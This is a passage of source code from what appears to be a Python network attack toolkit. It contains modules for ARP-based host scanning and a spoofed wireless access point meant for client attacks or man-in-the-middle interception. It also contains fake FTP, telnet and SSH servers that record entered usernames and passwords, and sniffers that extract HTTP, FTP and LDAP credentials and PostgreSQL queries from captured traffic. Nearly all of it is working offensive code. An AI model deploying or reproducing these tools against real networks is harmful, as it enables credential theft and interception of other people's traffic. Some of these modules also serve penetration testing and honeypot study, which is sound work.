with net mask. Cannot scan given block.') 59 | return 60 | print '\n' 61 | 62 | def view(self): 63 | """ Dump previous scan results 64 | """ 65 | print '\n\t\033[32m[!] Available hosts in range %s:\033[0m' \ 66 | % self.config['net_mask'].value 67 | for mac in self.available_hosts.keys(): 68 | print '\t%s : %s' % (mac, self.available_hosts[mac]) 69 | 70 | def cli(self, parser): 71 | """ Add CLI options 72 | """ 73 | parser.add_argument('-s', help='Network scanner', 74 | action='store_true', dest=self.which) 75 | -------------------------------------------------------------------------------- /src/modules/scanner/passive_scan.py: -------------------------------------------------------------------------------- 1 | import util 2 | import socket 3 | from scapy.all import * 4 | from sniffer.sniffer import Sniffer 5 | 6 | 7 | class Address: 8 | def __eq__(self, other): 9 | return self.ip == other 10 | 11 | def __init__(self): 12 | self.ip = None 13 | self.mac = None 14 | self.host = None 15 | 16 | 17 | class passive_scan(Sniffer): 18 | def __init__(self): 19 | super(passive_scan, self).__init__('Passive Scanner') 20 | self.netmap = {} 21 | self.config.pop("target", None) 22 | self.info = """ 23 | Much like the passive scanner in Ettercap, this module 24 | was designed to passively map the network without 25 | spewing packets. This will take some time, as we can 26 | only sniff what's coming at us. One packet is sent out, 27 | and that's for rDNS. 28 | """ 29 | 30 | def initialize(self): 31 | util.Msg('Initializing passive network map...') 32 | self.source = 'Passive Scanner' # for session view 33 | self.sniff_filter = 'arp' # pick out arp packets 34 | self.run() 35 | return 'Passive Scanner' 36 | 37 | def resolve(self, ip): 38 | """rdns with a timeout""" 39 | socket.setdefaulttimeout(2) 40 | try: 41 | host = socket.gethostbyaddr(ip) 42 | except: 43 | host = None 44 | if not host is None: 45 | host = host[0] 46 | return host 47 | 48 | def dump(self, pkt): 49 | """ Fish out broadcast packets and get src/dst 50 | """ 51 | if 'ARP' in pkt: 52 | addr = None 53 | if pkt[ARP].op == 1: 54 | psrc = pkt[ARP].psrc 55 | if not psrc in self.netmap.keys(): 56 | addr = Address() 57 | addr.ip = psrc 58 | addr.mac = pkt[ARP].hwsrc 59 | addr.host = self.resolve(psrc) 60 | 61 | self.netmap[psrc] = addr 62 | elif self.netmap[psrc].ip != psrc and self.netmap[psrc].mac == pkt[ARP].src: 63 | # IP changed 64 | self.netmap[psrc].ip = psrc 65 | elif pkt[ARP].op == 2: 66 | pdst = pkt[ARP].pdst 67 | if not pdst in self.netmap.keys(): 68 | addr = Address() 69 | addr.ip = pdst 70 | addr.mac = pkt[ARP].hwdst 71 | addr.host = self.resolve(pdst) 72 | 73 | self.netmap[pdst] = addr 74 | elif self.netmap[pdst].ip != pdst and self.netmap[pdst].mac == pkt[ARP].dst: 75 | # IP changed 76 | self.netmap[pdst].ip = pdst 77 | 78 | if addr is not None: 79 | self._dbhost(addr.mac, addr.ip, addr.host) 80 | 81 | def view(self): 82 | """Overridden Sniffer view 83 | since we just need to dump info 84 | out 85 | """ 86 | if len(self.netmap) <= 0: 87 | util.Msg("No hosts yet mapped.") 88 | else: 89 | for address in self.netmap.keys(): 90 | print '\t%s\t%s\t%s' % (self.netmap[address].ip, 91 | self.netmap[address].mac, 92 | self.netmap[address].host) 93 | util.Msg('\t %s hosts found.' % len(self.netmap)) 94 | 95 | def session_view(self): 96 | """ We're a sniffer, but a scanner, so we don't 97 | really have a target. 98 | """ 99 | return "Passive scanner" 100 | -------------------------------------------------------------------------------- /src/modules/scanner/scanner.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | from util import init_app 3 | from re import search 4 | import abc 5 | 6 | 7 | class Scanner(ZarpModule): 8 | """Abstract scanner 9 | """ 10 | __metaclass__ = abc.ABCMeta 11 | 12 | def __init__(self, which): 13 | self.target = None 14 | super(Scanner, self).__init__(which) 15 | 16 | def is_alive(self): 17 | """ Check if the target is responding 18 | """ 19 | if not self.target is None: 20 | rval = init_app('ping -c 1 -w 1 %s' % self.target) 21 | up = search('\d.*? received', rval) 22 | if search('0', up.group(0)) is None: 23 | return True 24 | return False -------------------------------------------------------------------------------- /src/modules/services/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['access_point', 'ftp', 'http', 'smb', 'ssh', 2 | 'telnet'] 3 | -------------------------------------------------------------------------------- /src/modules/services/access_point.py: -------------------------------------------------------------------------------- 1 | import util 2 | from time import sleep 3 | from threading import Thread 4 | from service import Service 5 | from zoption import Zoption 6 | 7 | 8 | class access_point(Service): 9 | def __init__(self): 10 | super(access_point, self).__init__('Access Point') 11 | self.mon_adapt = None 12 | del self.config["port"] 13 | self.config.update({"ap_essid":Zoption(type = "str", 14 | value = "zoopzop", 15 | required = False, 16 | display = "Spoofed AP name") 17 | }) 18 | self.info = """ 19 | Implements a fake wireless access point to execute 20 | client attacks or set up a wireless mitm that forwards 21 | traffic to another device. 22 | 23 | Passthru currently not working; todo. 24 | """ 25 | 26 | def initialize_bg(self): 27 | """Initialize in background thread""" 28 | if not util.check_program('airbase-ng'): 29 | util.Error('\'airbase-ng\' not found in local path.') 30 | return False 31 | 32 | util.Msg('Initializing access point..') 33 | thread = Thread(target=self.initialize) 34 | thread.start() 35 | 36 | sleep(2) 37 | if self.running: 38 | return True 39 | else: 40 | return False 41 | 42 | def initialize(self): 43 | """Initialize AP""" 44 | if not util.check_program('airbase-ng'): 45 | util.Error('\'airbase-ng\' not found in local path.') 46 | return False 47 | 48 | self.running = True 49 | ap_proc = None 50 | 51 | try: 52 | self.mon_adapt = util.get_monitor_adapter() 53 | if self.mon_adapt is None: 54 | self.mon_adapt = util.enable_monitor() 55 | 56 | if self.mon_adapt is None: 57 | util.Error('Could not find a wireless card in monitor mode') 58 | self.running = False 59 | return None 60 | 61 | airbase_cmd = [ 62 | 'airbase-ng', 63 | '--essid', self.config['ap_essid'].value, 64 | self.mon_adapt 65 | ] 66 | ap_proc = util.init_app(airbase_cmd, False) 67 | util.Msg('Access point %s running.' % \ 68 | self.config['ap_essid'].value) 69 | raw_input() # block 70 | except KeyboardInterrupt: 71 | self.running = False 72 | except Exception, er: 73 | util.Error('Error with wireless AP: %s' % er) 74 | finally: 75 | util.disable_monitor() 76 | util.kill_app(ap_proc) 77 | 78 | def cli(self, parser): 79 | """ establish CLI options 80 | """ 81 | parser.add_argument('--wap', help='Wireless access point', 82 | action='store_true', default=False, dest=self.which) 83 | -------------------------------------------------------------------------------- /src/modules/services/ftp.py: -------------------------------------------------------------------------------- 1 | import util 2 | import socket 3 | from service import Service 4 | from threading import Thread 5 | from zoption import Zoption 6 | 7 | 8 | class ftp(Service): 9 | def __init__(self): 10 | super(ftp, self).__init__('FTP Server') 11 | self.usr = None 12 | self.pwd = None 13 | self.server_socket = None 14 | self.config['port'].value = 21 15 | self.config.update({"motd":Zoption(type = "str", 16 | value = "b4ll4stS3c FTP Server v1.4", 17 | required = False, 18 | display = "Displayed MOTD") 19 | }) 20 | self.info = """ 21 | Emulates a single threaded FTP server. 22 | """ 23 | 24 | def response(self, con, code, txt): 25 | """ Format a response to the client """ 26 | con.send('%d %s\r\n' % (code, txt)) 27 | 28 | def process_com(self, con, data): 29 | """ Process the incoming request; logs the 30 | username/password and denies access 31 | """ 32 | cmd = data.split(' ')[0].strip() 33 | if cmd == 'USER': 34 | usr = data.split(' ')[1] 35 | if usr is None: 36 | self.response(con, 503, 'Incorrect username.') 37 | self.usr = usr.rstrip() 38 | self.response(con, 331, 'Specify password.') 39 | elif cmd == 'PASS': 40 | psswd = data.split(' ')[1] 41 | if psswd is None: 42 | self.response(con, 503, 'Incorrect password.') 43 | self.pwd = psswd.rstrip() 44 | self.response(con, 530, 'Incorrect credentials') 45 | return False 46 | else: 47 | self.response(con, 530, 'Please login first.') 48 | return False 49 | return True 50 | 51 | def initialize_bg(self): 52 | """ Initialize as a background process 53 | """ 54 | util.Msg('Starting FTP server...') 55 | self.server_thread = Thread(target=self.initialize) 56 | self.server_thread.start() 57 | return True 58 | 59 | def initialize(self): 60 | """ Initialize; blocking 61 | """ 62 | self.running = True 63 | self.server_sock = socket.socket() 64 | self.server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 65 | try: 66 | self.server_sock.bind(('', self.config['port'].value)) 67 | except: 68 | util.Error('Cannot bind to address.') 69 | return 70 | 71 | self.server_sock.settimeout(3) 72 | self.server_sock.listen(1) 73 | try: 74 | while self.running: 75 | try: 76 | conn, addr = self.server_sock.accept() 77 | except KeyboardInterrupt: 78 | return 79 | except: 80 | continue 81 | self.log_msg('Connection from %s' % str(addr)) 82 | self.response(conn, 220, self.config['motd'].value) 83 | 84 | while self.running: 85 | try: 86 | data = conn.recv(256) 87 | if len(data) > 0 and not self.process_com(conn, data): 88 | break 89 | except socket.error: 90 | break 91 | self.log_msg("Received \033[32m%s:%s\033[33m from connection." 92 | % (self.usr, self.pwd)) 93 | self.log_msg("\'%s\' disconnected.\n" % (addr[0])) 94 | conn.close() 95 | except KeyboardInterrupt: 96 | self.running = False 97 | except socket.error: 98 | # timeout/broken pipe 99 | pass 100 | except Exception: 101 | pass 102 | 103 | def cli(self, parser): 104 | """ establish cli options 105 | """ 106 | parser.add_argument('--ftp', help='FTP server', action='store_true', 107 | default=False, dest=self.which) 108 | -------------------------------------------------------------------------------- /src/modules/services/service.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | from zoption import Zoption 3 | import abc 4 | 5 | 6 | class Service(ZarpModule): 7 | """Abstract service 8 | """ 9 | __metaclass__ = abc.ABCMeta 10 | 11 | def __init__(self, which): 12 | super(Service, self).__init__(which) 13 | self.config.update({"port":Zoption(type="int", 14 | value = None, 15 | required = False, 16 | display = "Listen port") 17 | }) 18 | 19 | @abc.abstractmethod 20 | def initialize_bg(self): 21 | """ When services are initialized from the CLI, 22 | they need to be run in their own thread 23 | """ 24 | raise NotImplementedError 25 | -------------------------------------------------------------------------------- /src/modules/services/stubssh.py: -------------------------------------------------------------------------------- 1 | import paramiko 2 | import util 3 | 4 | 5 | class SSHStub(paramiko.ServerInterface): 6 | """ Handler for credentials 7 | """ 8 | def __init__(self, context, *args): 9 | self.context = context 10 | paramiko.ServerInterface.__init__(self, *args) 11 | 12 | # handle credentials and always reject 13 | def check_auth_password(self, username, password): 14 | if self.context['dump']: 15 | util.Msg('Received login attempt: %s:%s' % (username, password)) 16 | if self.context['log_data']: 17 | self.context['log_file'].write('Received login: %s:%s\n' 18 | % (username, password)) 19 | self.context['log_file'].flush() 20 | return paramiko.AUTH_FAILED 21 | 22 | def check_channel_request(self, kind, chanid): 23 | return paramiko.OPEN_SUCCEEDED 24 | 25 | 26 | class SSHHandler(paramiko.SFTPServerInterface): 27 | pass 28 | -------------------------------------------------------------------------------- /src/modules/services/telnet.py: -------------------------------------------------------------------------------- 1 | import util 2 | import socket 3 | from colors import color 4 | from service import Service 5 | from threading import Thread 6 | from zoption import Zoption 7 | 8 | 9 | class telnet(Service): 10 | def __init__(self): 11 | super(telnet, self).__init__('telnet server') 12 | self.server_thread = None 13 | self.server_socket = None 14 | self.config['port'].value = 23 15 | self.config.update({"server":Zoption(type = "str", 16 | value = "Unified", 17 | required = False, 18 | display = "Server title to spoof") 19 | }) 20 | self.info = """ 21 | Simple telnet emulator; just grabs a username/password 22 | and denies access. Could be extended to be a sort of 23 | honeypot system. 24 | """ 25 | 26 | def response(self, con, msg): 27 | """ Respond to connection 28 | """ 29 | con.send('%s' % msg) 30 | 31 | def initialize_bg(self): 32 | """ initialize background service 33 | """ 34 | util.Msg('Starting telnet service...') 35 | self.server_thread = Thread(target=self.initialize) 36 | self.server_thread.start() 37 | return True 38 | 39 | def initialize(self): 40 | """ initialize; blocking 41 | """ 42 | self.running = True 43 | self.server_sock = socket.socket() 44 | self.server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 45 | 46 | try: 47 | self.server_sock.bind(('', self.config['port'].value)) 48 | except: 49 | util.Error('Cannot bind to address.') 50 | return 51 | 52 | self.server_sock.settimeout(3) 53 | self.server_sock.listen(1) 54 | try: 55 | while self.running: 56 | try: 57 | con, addr = self.server_sock.accept() 58 | except KeyboardInterrupt: 59 | return 60 | except: 61 | continue 62 | 63 | self.log_msg('Connection from %s' % str(addr)) 64 | con.recv(256) # junk 65 | 66 | while self.running: 67 | try: 68 | # username/password prompt 69 | self.response(con, '%s Username: ' % 70 | self.config['server'].value) 71 | username = con.recv(256).strip().replace('\n', '') 72 | if len(username) < 1: 73 | continue 74 | 75 | self.response(con, '%s Password: ' % 76 | self.config['server'].value) 77 | password = con.recv(256).strip().replace('\n', '') 78 | if len(password) < 1: 79 | continue 80 | 81 | self.response(con, 'Invalid Credentials\r\n') 82 | self.log_msg('Received %s%s:%s%s from connection.' % 83 | (color.GREEN, username, password, color.YELLOW)) 84 | break 85 | except socket.error: 86 | break 87 | con.close() 88 | self.log_msg('%s disconnected.\n' % str(addr)) 89 | except: 90 | self.server_sock.close() 91 | 92 | def cli(self, parser): 93 | """ initialize CLI options 94 | """ 95 | parser.add_argument('--telnet', help='Telnet server', 96 | action='store_true', default=False, dest=self.which) 97 | -------------------------------------------------------------------------------- /src/modules/sniffer/__init__.py: -------------------------------------------------------------------------------- 1 | __all__ = ['http_sniffer', 'password_sniffer', 'traffic_sniffer', 2 | 'database_sniffer'] 3 | -------------------------------------------------------------------------------- /src/modules/sniffer/parser_postgres.py: -------------------------------------------------------------------------------- 1 | import util 2 | 3 | 4 | def endian_int(pkt): 5 | """Return an integer from an array of hex bytes""" 6 | return int(''.join(pkt), 16) 7 | 8 | 9 | def parse_query(pkt): 10 | """Parse and return a query""" 11 | length = endian_int(pkt[1:5]) 12 | 13 | pkt = pkt[5:] 14 | query = '' 15 | for i in xrange(length - 4): 16 | query += pkt[i].decode('hex') 17 | return query 18 | 19 | 20 | def database_exists(pkt): 21 | """Parse the database packet, return if it 22 | checks out or not. 23 | """ 24 | found = True 25 | if pkt[9] == '45': 26 | found = False 27 | return found 28 | 29 | 30 | def is_ssl(pkt): 31 | """Check if the packet is an SSL request""" 32 | if set(pkt) == set(['00', '00', '00', '08', 33 | '04', 'd2', '16', '2f']): 34 | return True 35 | return False 36 | 37 | 38 | def parse_startup(pkt): 39 | """Startup packets contain a set of 40 | keys and values. Return an array 41 | of key/value/key/value/etc.. 42 | """ 43 | values = [] 44 | plen = endian_int(pkt[0:4]) 45 | pkt = pkt[8:] 46 | 47 | tmp = '' 48 | for i in xrange(plen - 8): 49 | tmp += pkt[i].decode('hex') 50 | if pkt[i] == '00': 51 | values.append(tmp) 52 | tmp = '' 53 | return values 54 | 55 | 56 | def get_columns(pkt): 57 | """Parse columns out of a response packet. 58 | """ 59 | columns = [] 60 | num_columns = endian_int(pkt[5:7]) 61 | 62 | pkt = pkt[7:] 63 | ctmp = '' 64 | for column in xrange(num_columns): 65 | cnt = 0 66 | while True: 67 | tmp = pkt[cnt] 68 | if tmp == '00': 69 | columns.append(ctmp) 70 | ctmp = '' 71 | pkt = pkt[cnt + 19:] 72 | break 73 | ctmp += tmp.decode('hex') 74 | cnt += 1 75 | return (columns, pkt) 76 | 77 | 78 | def get_row(pkt): 79 | """Return a row of data""" 80 | row = [] 81 | tmp = '' 82 | fields = endian_int(pkt[0:2]) 83 | pkt = pkt[2:] 84 | for field in xrange(fields): 85 | clen = endian_int(pkt[0:4]) 86 | if clen == 4294967295: 87 | # indicates an empty column 88 | row.append('') 89 | continue 90 | 91 | pkt = pkt[4:] 92 | for i in xrange(clen): 93 | tmp += pkt[i].decode('hex') 94 | row.append(tmp) 95 | pkt = pkt[clen:] 96 | tmp = '' 97 | 98 | return row 99 | 100 | 101 | def is_done(pkt): 102 | """Check if packet is a Command Completion 103 | packet. 104 | """ 105 | if pkt[0] == '43': 106 | return True 107 | return False 108 | 109 | 110 | def parse_response(pkt): 111 | """Parse a query response""" 112 | data = [] 113 | 114 | try: 115 | (columns, pkt) = get_columns(pkt) 116 | while True: 117 | if is_done(pkt): 118 | break 119 | 120 | dlen = endian_int(pkt[1:5]) + 1 121 | row = get_row(pkt[5:dlen]) 122 | data.append(row) 123 | pkt = pkt[dlen:] 124 | except Exception, e: 125 | util.debug('Error parsing postgres: %s' % e) 126 | return (columns, data) 127 | 128 | 129 | def parse_error(pkt): 130 | """Parse an error message""" 131 | elen = endian_int(pkt[1:5]) 132 | 133 | pkt = pkt[20:] 134 | error = '' 135 | for idx in xrange(elen - 20): 136 | tmp = pkt[idx] 137 | if tmp == '00': 138 | break 139 | error += tmp.decode('hex') 140 | return error 141 | -------------------------------------------------------------------------------- /src/modules/sniffer/password_parser.py: -------------------------------------------------------------------------------- 1 | import util 2 | from re import findall 3 | from base64 import b64decode 4 | from scapy.all import * 5 | 6 | """ Class houses all of the protocol parsing functions. 7 | Each parsing routine should return a tuple of the form: (username, password) 8 | """ 9 | 10 | 11 | def parse_ldap(pkt): 12 | """ Parse LDAP credentials; only supports simple (0) 13 | authentication right now. Scapy doesn't currently 14 | support LDAP packets, so we'll do this by hand. 15 | """ 16 | payload = pkt[TCP].payload 17 | pkt_layer = util.get_layer_bytes(str(payload)) 18 | 19 | usr, pswd = None, None 20 | if len(pkt_layer) > 0: 21 | if pkt_layer[4] == '01': 22 | # bind request 23 | usr, pswd = '', '' 24 | usr_len = int(pkt_layer[11]) 25 | for idx in xrange(usr_len): 26 | usr += pkt_layer[12 + idx].decode('hex') 27 | 28 | pw_len = int(pkt_layer[13 + usr_len]) 29 | for idx in xrange(pw_len): 30 | pswd += pkt_layer[14 + usr_len + idx].decode('hex') 31 | return (usr, pswd) 32 | 33 | 34 | def parse_http(pkt): 35 | """ Parse out the username/password from an HTTP request. 36 | This will also parse out any basic authorization requests. 37 | """ 38 | payload = pkt.getlayer(Raw).load 39 | usr, pswd = None, None 40 | if 'username' in payload or 'password' in payload: 41 | usr = re.search('username=(.*?)(&|$| )', payload) 42 | pswd = re.search('password=(.*?)(&|$| )', payload) 43 | if usr is not None: 44 | usr = usr.groups(0)[0] 45 | if pswd is not None: 46 | pswd = pswd.groups(0)[0] 47 | elif 'Authorization:' in payload: 48 | pw = re.search('Authorization: Basic (.*)', payload) 49 | if pw.groups(0) is not None: 50 | usr = b64decode(pw.groups(0)[0]) 51 | 52 | return (usr, pswd) 53 | 54 | 55 | def parse_ftp(pkt): 56 | """ Parse out the username or password from FTP 57 | """ 58 | payload = str(pkt.sprintf("%Raw.load%")) 59 | # strip control characters 60 | payload = payload[:-5] 61 | usr, pswd = None, None 62 | 63 | if 'USER' in payload: 64 | usr = findall("(?i)USER (.*)", payload)[0] 65 | elif 'PASS' in payload: 66 | pswd = findall("(?i)PASS (.*)", payload)[0] 67 | 68 | return (usr, pswd) 69 | 70 | 71 | def parse_pkt(pkt): 72 | """ Initialize parsing of the packet 73 | """ 74 | if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.haslayer(Raw): 75 | return parse_http(pkt) 76 | elif pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 21: 77 | return parse_ftp(pkt) 78 | elif pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 389: 79 | return parse_ldap(pkt) 80 | return (None, None) 81 | -------------------------------------------------------------------------------- /src/modules/sniffer/sniffer.py: -------------------------------------------------------------------------------- 1 | from module import ZarpModule 2 | from scapy.all import sniff 3 | from threading import Thread 4 | from zoption import Zoption 5 | import util 6 | import config 7 | import abc 8 | 9 | 10 | class Sniffer(ZarpModule): 11 | """ Abstract sniffer """ 12 | __metaclass__ = abc.ABCMeta 13 | 14 | def __init__(self, which): 15 | super(Sniffer, self).__init__(which) 16 | self.sniff_filter = None # filter for the traffic sniffer 17 | # initialize thread 18 | self.sniff_thread = Thread(target=self.traffic_sniffer) 19 | 20 | self.config.update({"target":Zoption(type = "ip", 21 | value = config.get("ip_addr"), 22 | required = False, 23 | display = "Address to sniff from") 24 | }) 25 | 26 | @abc.abstractmethod 27 | def dump(self, pkt): 28 | raise NotImplementedError 29 | 30 | def session_view(self): 31 | 32 | """ Session viewer returns source 33 | """ 34 | return '%s' % self.config['target'].value 35 | 36 | def traffic_sniffer(self): 37 | """ Sniff traffic with the given filter. 38 | If sniff_filter is not set, an exception is raised 39 | """ 40 | if self.sniff_filter is None: 41 | raise NotImplementedError, "sniff_filter not initialized!" 42 | 43 | sniff(filter=self.sniff_filter, store=0, prn=self.dump, 44 | stopper=self.stop_callback, stopperTimeout=3) 45 | 46 | def stop_callback(self): 47 | """ Initiate a sniffer shutdown""" 48 | if self.running: 49 | return False 50 | util.debug('%s shutting down...' % self.which) 51 | return True 52 | 53 | def run(self): 54 | """Friendly handler""" 55 | try: 56 | self.running = True 57 | self.sniff_thread.start() 58 | except Exception, e: 59 | util.Error('Error with sniffer: %s' % (e)) 60 | -------------------------------------------------------------------------------- /src/modules/sniffer/traffic_sniffer.py: -------------------------------------------------------------------------------- 1 | from util import Error, test_filter 2 | from sniffer import Sniffer 3 | from scapy.all import * 4 | from zoption import Zoption 5 | 6 | 7 | class traffic_sniffer(Sniffer): 8 | def __init__(self): 9 | super(traffic_sniffer, self).__init__('Traffic Sniffer') 10 | self.config.update({"filter":Zoption(type = "str", 11 | value = "src {0} or dst {0}", 12 | required = False, 13 | display = "Traffic filter") 14 | }) 15 | self.info = """ 16 | This module can be used as a simple traffic sniffer. 17 | A filter option is provided to use tcpdump/scapy-esque 18 | filter syntax to narrow down the information provided.""" 19 | 20 | def initialize(self): 21 | """ Initialize sniffer 22 | """ 23 | if test_filter(self.config['filter'].value): 24 | self.sniff_filter = self.config['filter'].value.format( 25 | self.config['target'].value) 26 | self.run() 27 | else: 28 | Error("Error with provided filter.") 29 | return False 30 | return True 31 | 32 | def dump(self, pkt): 33 | """ Sniffer callback; print summary 34 | """ 35 | if not pkt is None: 36 | self.log_msg(pkt.summary()) 37 | 38 | def session_view(self): 39 | """ Overridden to include filter 40 | """ 41 | return "%s [%s]" % (self.config['target'].value, 42 | self.config['filter'].value) 43 | --------------------------------------------------------------------------------